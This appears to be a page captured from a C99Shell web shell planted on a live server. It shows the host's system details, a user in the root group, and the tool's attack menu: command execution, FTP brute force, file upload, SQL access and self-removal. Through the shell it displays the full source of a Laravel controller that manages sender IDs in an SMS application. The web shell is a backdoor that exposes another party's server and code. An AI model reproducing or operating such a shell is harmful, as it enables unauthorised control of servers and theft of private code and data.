!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SenderIdController.php (8.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Invoice;
use 
App\Models\SenderId;
use 
App\Models\SenderIdDetail;
use 
App\Models\Settings;
use 
App\Models\Transactions;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
SenderIdController extends Controller
{
    public function 
index()
    {
        
$data['senderIdPrice']= Settings::where('name''senderid_price')->first();
        return 
view('admin.senderId.index'$data);
    }

    public function 
getAll()
    {
        
$senders SenderId::where('status','approved')->select(['id','customer_id','dynamic_gateway_id','sender_id','expire_date''status''is_paid']);
        return 
datatables()->of($senders)
        ->
addColumn('expire_date',function($q){
            if (
$q->expire_date) {
                return 
formatDate($q->expire_date);
            }else{
                return 
'';
            }
        })
        ->
addColumn('customer',function($q){
            return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
        })
        ->
addColumn('from',function($q){
            
$gateway=$q->gateway->name;
            return 
$gateway;
        })
        ->
addColumn('status',function(SenderId $q){
            
$renew='';
            if(
$q->expire_date now()){
                
$renew '<button class="btn btn-sm btn-info " data-message="<label>Enter Expire Date</label><br><input value='.now()->addDay().' name=' 'expire_date' ' type=' 'date' ' class=' 'form-control' '  >"
                                        data-action=' 
route('admin.sender.requests.response') . '
                                        data-input={"id":"' 
$q->id '","status":"renew"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Renew</button>'
;
            }

            if(
$q->status == 'approved'){
                return 
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.sender.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
."&nbsp;&nbsp;&nbsp;$renew";
            }else{
                return 
'';
            }
        })
        ->
rawColumns(['customer''status','from'])
        ->
toJson();
    }
    public function 
sender_id_request(Request $request)
    {
        
$senderId SenderId::find($request->id);

        if(!
$senderId){
            return 
back()->with('fail','Sender ID not found');
        }
        
$expire_date=$request->expire_date?:now();
        if(
$request->status=='renew'){
            
$senderId->expire_date=$expire_date;
            
$senderId->save();
            return 
back()->with('success''Sender ID successfully renewed');
        }
        if(
$request->status == 'review') {
            
$request->validate([
                
'status' => 'required|in:approved,rejected,review_pending,review',
                
'dynamic_gateway_id' => 'required',
            ]);
        }else{
            
$request->validate([
                
'status' => 'required|in:approved,rejected,review_pending,review',
            ]);
        }


        
$senderIdPrice = isset(json_decode(get_settings('senderid_price'))->sender_id_price) ? json_decode(get_settings('senderid_price'))->sender_id_price 0;
//        If sender-id price is 0 then approving automatically
        
if ($senderIdPrice==0){
            
$expire_date Carbon::now()->addMonths(1);
            
$senderId->expire_date=$expire_date;
            
$senderId->status='approved';
            
$senderId->is_paid='yes';
            
$senderId->dynamic_gateway_id=$request->dynamic_gateway_id;
            
$senderId->save();
            return 
back()->with('success''Sender ID Assign successfully');
        }

        if(
$request->status == 'review'){
            
$senderId->dynamic_gateway_id=$request->dynamic_gateway_id;
            
$senderId->status=$request->status;
            
$senderId->save();
        }else if(
$request->status=='review_pending'){
            
$expire_date Carbon::now()->addMonths(1);
            
$senderId->expire_date=$expire_date;
            
$senderId->status='approved';
            
$senderId->is_paid='yes';
            
$senderId->save();

            if(
$request->status=='accepted') {
                
$transactions Transactions::where('ref_id'$senderId->id)->where('type','sender_id')->first();
                if (
$transactions) {
                    
$transactions->status 'paid';
                    
$transactions->save();
                }
            }

        }else{
            
$senderId->status=$request->status;
            
$senderId->save();
        }

        if (
$senderId->invoice_id && $request->status=='review_pending' || $request->status=='rejected') {
            
$invoice Invoice::where('id'$senderId->invoice_id)->first();
            if (
$invoice) {
                if (
$request->status=='review_pending') {
                    
$invoice->payment_status 'approved';
                }else if(
$request->status=='rejected') {
                    
$invoice->payment_status 'rejected';
                }
                
$invoice->save();
            }
        }


        return 
back()->with('success''Sender ID '.str_replace('_','-'ucfirst($request->status)).' successfully');
    }

    public function 
sender_id_approved(){
        
$data['gateways']=auth()->user()->gateways()->where('status''active')->get();
        return 
view('admin.senderId.requests'$data);
    }
    public function 
sender_id_get_requests()
    {
        
$senders SenderId::where('status','!=','approved')->orderByDesc('created_at')->select(['id','dynamic_gateway_id','customer_id','sender_id','status']);
        return 
datatables()->of($senders)
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('action',function(SenderId $q){
                if(
$q->status == 'pending'){
                return 
'<button class="mr-1 btn btn-sm btn-info approve_btn" type="button" data-message="Are you sure you want to approve this Sender ID ?"
                                    data-status="review" data-id="'
.$q->id.'" data-senderid="'.$q->sender_id.'" >Approve</button>'.
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.sender.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
;
                }else if(
$q->status=='review_pending'){
                    return 
'<button  data-status="review_pending" class="mr-1 btn btn-sm btn-info approve_btn" type="button" data-message="Are you sure you want to approve this Sender ID ?"
                                     data-id="'
.$q->id.'" data-senderid="'.$q->sender_id.'" >Approve</button>';
                }
            })
            ->
addColumn('from',function($q){
                
$gateway=$q->gateway->name;
                return 
$gateway;
            })
            ->
addColumn('status',function(SenderId $q){
                if(
$q->status == 'review'){
                    
$status'<strong class="text-danger">Not paid Yet</strong>';
                }else if(
$q->status=='review_pending'){
                    
$status'<strong class="text-info">Review Payment</strong>';
                }else if(
$q->status=='approved'){
                    
$status'<strong class="text-success">Approved</strong>';
                }else{
                    
$statusucfirst($q->status);
                }
                return 
$status;
            })

            ->
rawColumns(['action','customer','status','from'])
            ->
toJson();
    }
    public function 
removeSenderId(Request $request){

        
$senderId SenderId::where('id',$request->id)->first();

        if(!
$senderId){
            return 
redirect()->back()->with('fail','Invalid sender ID');
        }
        
$senderId->delete();

        return 
back()->with('success','Sender ID successfully deleted');
    }

    public function 
setPrice(Request $request){

        
$data=['name'=>'senderid_price'];
        
$requestData=$request->only('sender_id_price');
        
$setting auth()->user()->settings()->firstOrNew($data);
        
$setting->value json_encode($requestData);
        
$setting->save();
cache()->forget('settings');
        return 
redirect()->back()->with('success'trans('admin.message.sender_id_price_set_successfully'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--